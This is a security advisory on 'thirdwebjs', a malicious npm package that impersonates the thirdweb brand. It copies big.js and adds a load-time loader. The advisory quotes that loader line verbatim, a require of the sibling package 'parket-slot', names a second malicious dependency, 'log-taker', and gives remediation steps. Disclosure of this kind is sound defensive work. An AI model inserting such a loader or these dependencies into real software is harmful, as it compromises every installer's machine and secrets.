MAL-2026-6344 Malicious code in thirdwebjs (npm)

Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain try { const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {} — a require() that fires at library-load time and hands execution to the sibling package 'parket-slot'. package.json line 58 also declares "log-taker": "^0.0.9" as a runtime dependency, pulling a second attacker-controlled sibling into the installer's tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.